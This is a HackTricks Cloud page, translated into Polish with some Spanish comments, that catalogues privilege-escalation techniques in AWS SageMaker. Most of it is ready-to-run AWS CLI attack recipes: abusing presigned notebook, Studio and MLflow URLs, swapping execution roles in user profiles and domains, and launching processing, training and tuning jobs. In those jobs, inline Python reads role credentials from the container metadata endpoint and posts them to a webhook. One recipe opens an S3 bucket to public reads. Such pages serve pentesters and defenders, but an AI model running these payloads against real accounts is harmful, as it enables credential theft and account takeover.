AWS - Sagemaker Privesc
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
AWS - Sagemaker Privesc
iam:PassRole , sagemaker:CreateNotebookInstance, sagemaker:CreatePresignedNotebookInstanceUrl
Rozpocznij tworzenie notebooka z przypisaną do niego IAM Role, aby uzyskać do niego dostęp:
aws sagemaker create-notebook-instance --notebook-instance-name example \
--instance-type ml.t2.medium \
--role-arn arn:aws:iam::<account-id>:role/service-role/<role-name>
Odpowiedź powinna zawierać pole NotebookInstanceArn, które będzie zawierać ARN nowo utworzonej instancji notebooka. Następnie możemy użyć API create-presigned-notebook-instance-url, aby wygenerować URL, którego możemy użyć, aby uzyskać dostęp do instancji notebooka, gdy będzie gotowa:
aws sagemaker create-presigned-notebook-instance-url \
--notebook-instance-name <name>
Nawiguj do URL w przeglądarce i kliknij na `Open JupyterLab`` w prawym górnym rogu, następnie przewiń w dół do zakładki “Launcher” i w sekcji “Other” kliknij przycisk “Terminal”.
Teraz możliwe jest uzyskanie dostępu do poświadczeń metadanych roli IAM.
Potential Impact: Privesc do określonej roli serwisowej sagemaker.
sagemaker:CreatePresignedNotebookInstanceUrl
Jeśli na nim działają Jupyter notebooks are already running i możesz je wylistować za pomocą sagemaker:ListNotebookInstances (lub odkryć je w inny sposób). Możesz wygenerować dla nich URL, uzyskać do nich dostęp i ukraść poświadczenia, jak wskazano w poprzedniej technice.
aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name <name>
Potencjalny wpływ: Privesc do dołączonej roli usługi sagemaker.
sagemaker:CreatePresignedDomainUrl
Warning
Ten atak działa tylko na starych, tradycyjnych domenach SageMaker Studio, nie na tych utworzonych przez SageMaker Unified Studio. Domeny z Unified Studio zwrócą błąd: “This SageMaker AI Domain was created by SageMaker Unified Studio and must be accessed via SageMaker Unified Studio Portal”.
Tożsamość z uprawnieniem do wywołania sagemaker:CreatePresignedDomainUrl na docelowym Studio UserProfile może wygenerować URL logowania, który uwierzytelnia bezpośrednio do SageMaker Studio jako ten profil. To daje przeglądarce atakującego sesję Studio, która dziedziczy uprawnienia ExecutionRole profilu oraz pełny dostęp do katalogu domowego i aplikacji profilu opartego na EFS. Nie jest wymagane iam:PassRole ani dostęp do konsoli.
Wymagania:
- Domena SageMaker Studio (
Domain) i docelowyUserProfilew jej obrębie. - Podmiot atakujący musi mieć
sagemaker:CreatePresignedDomainUrlna docelowymUserProfile(na poziomie zasobu) lub*.
Minimalny przykład polityki (ograniczony do jednego UserProfile):
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sagemaker:CreatePresignedDomainUrl",
"Resource": "arn:aws:sagemaker:<region>:<account-id>:user-profile/<domain-id>/<user-profile-name>"
}
]
}
Kroki nadużycia:
- Enumerate Studio Domain i UserProfiles, które możesz zaatakować
DOM=$(aws sagemaker list-domains --query 'Domains[0].DomainId' --output text)
aws sagemaker list-user-profiles --domain-id-equals $DOM
TARGET_USER=<UserProfileName>
- Sprawdź, czy unified studio nie jest używany (attack działa tylko na tradycyjnych domenach SageMaker Studio)
aws sagemaker describe-domain --domain-id <DOMAIN_ID> --query 'DomainSettings'
# If you get info about unified studio, this attack won't work
- Wygeneruj presigned URL (domyślnie ważny przez ~5 minut)
aws sagemaker create-presigned-domain-url \
--domain-id $DOM \
--user-profile-name $TARGET_USER \
--query AuthorizedUrl --output text
- Otwórz zwrócony URL w przeglądarce, aby zalogować się do Studio jako docelowy użytkownik. W terminalu Jupyter w Studio zweryfikuj efektywną tożsamość lub exfiltrate the token:
aws sts get-caller-identity
Uwagi:
--landing-urimożna pominąć. Niektóre wartości (np.app:JupyterLab:/lab) mogą być odrzucone w zależności od wersji/flavour Studio; domyślnie zazwyczaj przekierowują do ekranu głównego Studio, a następnie do Jupyter.- Polityki organizacyjne/ograniczenia punktów końcowych VPC mogą nadal blokować dostęp sieciowy; tworzenie tokena nie wymaga logowania do konsoli ani
iam:PassRole.
Potencjalny wpływ: Ruch boczny i eskalacja uprawnień poprzez przejęcie dowolnego Studio UserProfile, którego ARN jest dozwolony, dziedzicząc jego ExecutionRole oraz system plików/aplikacje.
sagemaker:CreatePresignedMlflowTrackingServerUrl, sagemaker-mlflow:AccessUI, sagemaker-mlflow:SearchExperiments
Tożsamość z uprawnieniem do wywołania sagemaker:CreatePresignedMlflowTrackingServerUrl (oraz sagemaker-mlflow:AccessUI, sagemaker-mlflow:SearchExperiments dla późniejszego dostępu) dla docelowego SageMaker MLflow Tracking Server może wygenerować jednorazowy presigned URL, który uwierzytelnia bezpośrednio do zarządzanego MLflow UI tego serwera. Daje to taki sam dostęp, jaki miałby prawowity użytkownik serwera (przeglądanie/tworzenie eksperymentów i runów oraz pobieranie/wysyłanie artefaktów w repozytorium artefaktów S3 serwera).
Wymagania:
- SageMaker MLflow Tracking Server w koncie/regionie oraz jego nazwa.
- Atakujący principal musi mieć
sagemaker:CreatePresignedMlflowTrackingServerUrlna zasobie docelowego MLflow Tracking Server (lub*).
Kroki nadużycia:
- Zidentyfikuj MLflow Tracking Servers, które możesz zaatakować, i wybierz jedną nazwę
aws sagemaker list-mlflow-tracking-servers \
--query 'TrackingServerSummaries[].{Name:TrackingServerName,Status:TrackingServerStatus}'
TS_NAME=<tracking-server-name>
- Wygeneruj presigned MLflow UI URL (ważny przez krótki czas)
aws sagemaker create-presigned-mlflow-tracking-server-url \
--tracking-server-name "$TS_NAME" \
--query AuthorizedUrl --output text
- Otwórz zwrócony URL w przeglądarce, aby uzyskać dostęp do MLflow UI jako uwierzytelniony użytkownik dla tego Tracking Server.
Potential Impact: Bezpośredni dostęp do zarządzanego MLflow UI dla wybranego Tracking Servera, umożliwiający przeglądanie i modyfikację eksperymentów/runs oraz pobieranie lub przesyłanie artefaktów przechowywanych w skonfigurowanym S3 artifact store serwera, w granicach uprawnień egzekwowanych przez konfigurację serwera.
sagemaker:CreateProcessingJob, iam:PassRole
Atakujący posiadający te uprawnienia mogą spowodować, że SageMaker wykona processing job z przypisaną rolą SageMaker. Ponowne użycie jednego z AWS Deep Learning Containers, które już zawierają Python (i uruchamiając job w tym samym regionie co URI), pozwala uruchomić kod inline bez budowania własnych obrazów:
REGION=<region>
ROLE_ARN=<sagemaker-arn-role>
IMAGE=683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3
ENV='{"W":"https://example.com/webhook"}'
aws sagemaker create-processing-job \
--processing-job-name privescjob \
--processing-resources '{"ClusterConfig":{"InstanceCount":1,"InstanceType":"ml.t3.medium","VolumeSizeInGB":50}}' \
--app-specification "{\"ImageUri\":\"$IMAGE\",\"ContainerEntrypoint\":[\"python\",\"-c\"],\"ContainerArguments\":[\"import os,urllib.request as u;m=os.environ.get('AWS_CONTAINER_CREDENTIALS_RELATIVE_URI');m and u.urlopen(os.environ['W'],data=u.urlopen('http://169.254.170.2'+m).read())\"]}" \
--environment "$ENV" \
--role-arn $ROLE_ARN
# Las credenciales llegan al webhook indicado. Asegúrate de que el rol tenga permisos ECR (AmazonEC2ContainerRegistryReadOnly) para descargar la imagen.
Potencjalny wpływ: Privesc do określonej roli usługi sagemaker.
sagemaker:CreateTrainingJob, iam:PassRole
Atakujący z tymi uprawnieniami może uruchomić training job, który wykona dowolny kod z wykorzystaniem wskazanej roli. Używając oficjalnego kontenera SageMaker i nadpisując entrypoint za pomocą inline payload, nie musisz tworzyć własnych obrazów:
REGION=<region>
ROLE_ARN=<sagemaker-role-to-abuse>
IMAGE=763104351884.dkr.ecr.$REGION.amazonaws.com/pytorch-training:2.1-cpu-py310
ENV='{"W":"https://example.com/webhook"}'
OUTPUT_S3=s3://<existing-bucket>/training-output/
# El rol debe poder leer imágenes de ECR (p.e. AmazonEC2ContainerRegistryReadOnly) y escribir en OUTPUT_S3.
aws sagemaker create-training-job \
--training-job-name privesc-train \
--role-arn $ROLE_ARN \
--algorithm-specification "{\"TrainingImage\":\"$IMAGE\",\"TrainingInputMode\":\"File\",\"ContainerEntrypoint\":[\"python\",\"-c\"],\"ContainerArguments\":[\"import os,urllib.request as u;m=os.environ.get('AWS_CONTAINER_CREDENTIALS_RELATIVE_URI');m and u.urlopen(os.environ['W'],data=u.urlopen('http://169.254.170.2'+m).read())\"]}" \
--output-data-config "{\"S3OutputPath\":\"$OUTPUT_S3\"}" \
--resource-config '{"InstanceCount":1,"InstanceType":"ml.m5.large","VolumeSizeInGB":50}' \
--stopping-condition '{"MaxRuntimeInSeconds":600}' \
--environment "$ENV"
# El payload se ejecuta en cuanto el job pasa a InProgress y exfiltra las credenciales del rol.
Potencjalny wpływ: Privesc do określonej roli usługi SageMaker.
sagemaker:CreateHyperParameterTuningJob, iam:PassRole
Atakujący z tymi uprawnieniami może uruchomić HyperParameter Tuning Job, który uruchamia kontrolowany przez atakującego kod pod podaną rolą. Script mode wymaga umieszczenia payloadu w S3, ale wszystkie kroki można zautomatyzować z poziomu CLI:
REGION=<region>
ROLE_ARN=<sagemaker-role-to-abuse>
BUCKET=sm-hpo-privesc-$(date +%s)
aws s3 mb s3://$BUCKET --region $REGION
# Allow public reads so any SageMaker role can pull the code
aws s3api put-public-access-block \
--bucket $BUCKET \
--public-access-block-configuration '{
"BlockPublicAcls": false,
"IgnorePublicAcls": false,
"BlockPublicPolicy": false,
"RestrictPublicBuckets": false
}'
aws s3api put-bucket-policy --bucket $BUCKET --policy "{
\"Version\": \"2012-10-17\",
\"Statement\": [
{
\"Effect\": \"Allow\",
\"Principal\": \"*\",
\"Action\": \"s3:GetObject\",
\"Resource\": \"arn:aws:s3:::$BUCKET/*\"
}
]
}"
cat <<'EOF' > /tmp/train.py
import os, time, urllib.request
def main():
meta = os.environ.get("AWS_CONTAINER_CREDENTIALS_RELATIVE_URI")
if not meta:
return
creds = urllib.request.urlopen(f"http://169.254.170.2{meta}").read()
req = urllib.request.Request(
"https://example.com/webhook",
data=creds,
headers={"Content-Type": "application/json"}
)
urllib.request.urlopen(req)
print("train:loss=0")
time.sleep(300)
if __name__ == "__main__":
main()
EOF
cd /tmp
tar -czf code.tar.gz train.py
aws s3 cp code.tar.gz s3://$BUCKET/code/train-code.tar.gz --region $REGION --acl public-read
echo "dummy" > /tmp/input.txt
aws s3 cp /tmp/input.txt s3://$BUCKET/input/dummy.txt --region $REGION --acl public-read
IMAGE=763104351884.dkr.ecr.$REGION.amazonaws.com/pytorch-training:2.1-cpu-py310
CODE_S3=s3://$BUCKET/code/train-code.tar.gz
TRAIN_INPUT_S3=s3://$BUCKET/input
OUTPUT_S3=s3://$BUCKET/output
# El rol necesita permisos ECR y escritura en el bucket.
cat > /tmp/hpo-definition.json <<EOF
{
"AlgorithmSpecification": {
"TrainingImage": "$IMAGE",
"TrainingInputMode": "File",
"MetricDefinitions": [{"Name": "train:loss", "Regex": "train:loss=([0-9.]+)"}]
},
"StaticHyperParameters": {
"sagemaker_program": "train.py",
"sagemaker_submit_directory": "$CODE_S3"
},
"RoleArn": "$ROLE_ARN",
"InputDataConfig": [
{
"ChannelName": "training",
"DataSource": {
"S3DataSource": {
"S3DataType": "S3Prefix",
"S3Uri": "$TRAIN_INPUT_S3",
"S3DataDistributionType": "FullyReplicated"
}
}
}
],
"OutputDataConfig": {
"S3OutputPath": "$OUTPUT_S3"
},
"ResourceConfig": {
"InstanceType": "ml.m5.large",
"InstanceCount": 1,
"VolumeSizeInGB": 50
},
"StoppingCondition": {
"MaxRuntimeInSeconds": 600
}
}
EOF
aws sagemaker create-hyper-parameter-tuning-job \
--hyper-parameter-tuning-job-name privesc-hpo \
--hyper-parameter-tuning-job-config '{"Strategy":"Random","ResourceLimits":{"MaxNumberOfTrainingJobs":1,"MaxParallelTrainingJobs":1},"HyperParameterTuningJobObjective":{"Type":"Maximize","MetricName":"train:loss"}}' \
--training-job-definition file:///tmp/hpo-definition.json
Każde uruchomione przez proces zadanie treningowe wypisuje metrykę i eksfiltruje poświadczenia wskazanej roli.
sagemaker:UpdateUserProfile, iam:PassRole, sagemaker:CreateApp, sagemaker:CreatePresignedDomainUrl, (sagemaker:DeleteApp)
Mając uprawnienia do aktualizacji SageMaker Studio User Profile, utworzenia aplikacji, presigned URL do aplikacji oraz iam:PassRole, atakujący może ustawić ExecutionRole na dowolną rolę IAM, którą principal usługi SageMaker może przejąć. Nowe aplikacje Studio uruchomione dla tego profilu będą działać z zamienioną rolą, dając interaktywne podwyższone uprawnienia przez terminale Jupyter lub zadania uruchamiane ze Studio.
Warning
Ten atak wymaga, aby w profilu nie było żadnych aplikacji, w przeciwnym razie tworzenie aplikacji zakończy się błędem podobnym do:
An error occurred (ValidationException) when calling the UpdateUserProfile operation: Unable to update UserProfile [arn:aws:sagemaker:us-east-1:947247140022:user-profile/d-fcmlssoalfra/test-user-profile-2] with InService App. Delete all InService apps for UserProfile and try again.Jeśli istnieje jakaś aplikacja, będziesz potrzebował uprawnieniasagemaker:DeleteApp, aby je najpierw usunąć.
Kroki:
# 1) List Studio domains and pick a target
aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}'
# 2) List Studio user profiles and pick a target
aws sagemaker list-user-profiles --domain-id-equals <DOMAIN_ID>
# Choose a more-privileged role that already trusts sagemaker.amazonaws.com
ROLE_ARN=arn:aws:iam::<ACCOUNT_ID>:role/<HighPrivSageMakerExecutionRole>
# 3) Update the Studio profile to use the new role (no iam:PassRole)
aws sagemaker update-user-profile \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--user-settings ExecutionRole=$ROLE_ARN
aws sagemaker describe-user-profile \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--query 'UserSettings.ExecutionRole' --output text
# 3.1) Optional if you need to delete existing apps first
# List existing apps
aws sagemaker list-apps \
--domain-id-equals <DOMAIN_ID>
# Delete an app
aws sagemaker delete-app \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--app-type JupyterServer \
--app-name <APP_NAME>
# 4) Create a JupyterServer app for a user profile (will inherit domain default role)
aws sagemaker create-app \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--app-type JupyterServer \
--app-name <APP_NAME>
# 5) Generate a presigned URL to access Studio with the new domain default role
aws sagemaker create-presigned-domain-url \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--query AuthorizedUrl --output text
# 6) Open the URL in browser, navigate to JupyterLab, open Terminal and verify:
# aws sts get-caller-identity
# (should show the high-privilege role from domain defaults)
Potencjalny wpływ: Eskalacja uprawnień do poziomu określonej roli wykonawczej SageMaker dla interaktywnych sesji Studio.
sagemaker:UpdateDomain, sagemaker:CreateApp, iam:PassRole, sagemaker:CreatePresignedDomainUrl, (sagemaker:DeleteApp)
Mając uprawnienia do aktualizacji domeny SageMaker Studio, tworzenia aplikacji, wygenerowania presigned URL do aplikacji oraz iam:PassRole, atakujący może ustawić domyślny domain ExecutionRole na dowolną rolę IAM, którą principal usługi SageMaker może objąć. Nowe aplikacje Studio uruchamiane dla tego profilu będą działać z zamienioną rolą, dając interaktywne podwyższone uprawnienia poprzez terminale Jupyter lub zadania uruchamiane ze Studio.
Warning
Ten atak wymaga, aby w domenie nie było żadnych aplikacji, w przeciwnym razie tworzenie aplikacji zakończy się błędem:
An error occurred (ValidationException) when calling the UpdateDomain operation: Unable to update Domain [arn:aws:sagemaker:us-east-1:947247140022:domain/d-fcmlssoalfra] with InService App. Delete all InService apps in the domain including shared Apps for [domain-shared] User Profile, and try again.
Kroki:
# 1) List Studio domains and pick a target
aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}'
# 2) List Studio user profiles and pick a target
aws sagemaker list-user-profiles --domain-id-equals <DOMAIN_ID>
# Choose a more-privileged role that already trusts sagemaker.amazonaws.com
ROLE_ARN=arn:aws:iam::<ACCOUNT_ID>:role/<HighPrivSageMakerExecutionRole>
# 3) Change the domain default so every profile inherits the new role
aws sagemaker update-domain \
--domain-id <DOMAIN_ID> \
--default-user-settings ExecutionRole=$ROLE_ARN
aws sagemaker describe-domain \
--domain-id <DOMAIN_ID> \
--query 'DefaultUserSettings.ExecutionRole' --output text
# 3.1) Optional if you need to delete existing apps first
# List existing apps
aws sagemaker list-apps \
--domain-id-equals <DOMAIN_ID>
# Delete an app
aws sagemaker delete-app \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--app-type JupyterServer \
--app-name <APP_NAME>
# 4) Create a JupyterServer app for a user profile (will inherit domain default role)
aws sagemaker create-app \
--domain-id <DOMAIN_ID> \
--app-type JupyterServer \
--app-name js-domain-escalated
# 5) Generate a presigned URL to access Studio with the new domain default role
aws sagemaker create-presigned-domain-url \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--query AuthorizedUrl --output text
# 6) Open the URL in browser, navigate to JupyterLab, open Terminal and verify:
# aws sts get-caller-identity
# (should show the high-privilege role from domain defaults)
Potencjalny wpływ: Eskalacja uprawnień do poziomu określonej roli wykonawczej SageMaker w kontekście interaktywnych sesji Studio.
sagemaker:CreateApp, sagemaker:CreatePresignedDomainUrl
Atakujący posiadający uprawnienie do utworzenia aplikacji SageMaker Studio dla docelowego UserProfile może uruchomić aplikację JupyterServer, która działa z użyciem ExecutionRole tego profilu. Zapewnia to interaktywny dostęp do uprawnień tej roli przez terminale Jupyter lub zadania uruchomione z poziomu Studio.
Kroki:
# 1) List Studio domains and pick a target
aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}'
# 2) List Studio user profiles and pick a target
aws sagemaker list-user-profiles --domain-id-equals <DOMAIN_ID>
# 3) Create a JupyterServer app for the user profile
aws sagemaker create-app \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--app-type JupyterServer \
--app-name js-privesc
# 4) Generate a presigned URL to access Studio
aws sagemaker create-presigned-domain-url \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--query AuthorizedUrl --output text
# 5) Open the URL in browser, navigate to JupyterLab, open Terminal and verify:
# aws sts get-caller-identity
Potencjalny wpływ: Interaktywny dostęp do roli wykonawczej SageMaker przypisanej do docelowego UserProfile.
iam:GetUser, datazone:CreateUserProfile
Atakujący z tymi uprawnieniami może przyznać użytkownikowi IAM dostęp do Sagemaker Unified Studio Domain, tworząc dla niego DataZone User Profile.
# List domains
aws datazone list-domains --region us-east-1 \
--query "items[].{Id:id,Name:name}" \
--output json
# Add IAM user as a user of the domain
aws datazone create-user-profile \
--region us-east-1 \
--domain-identifier <domain-id> \
--user-identifier <arn-user> \
--user-type IAM_USER
URL Unified Domain ma następujący format: https://<domain-id>.sagemaker.<region>.on.aws/ (e.g. https://dzd-cmixuznq0h8cmf.sagemaker.us-east-1.on.aws/).
Potencjalny wpływ: Dostęp do Sagemaker Unified Studio Domain jako użytkownik, umożliwiający dostęp do wszystkich zasobów wewnątrz domeny Sagemaker, a nawet eskalację uprawnień do roli, której używają notebooki w Sagemaker Unified Studio Domain.
Referencje
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
HackTricks Cloud

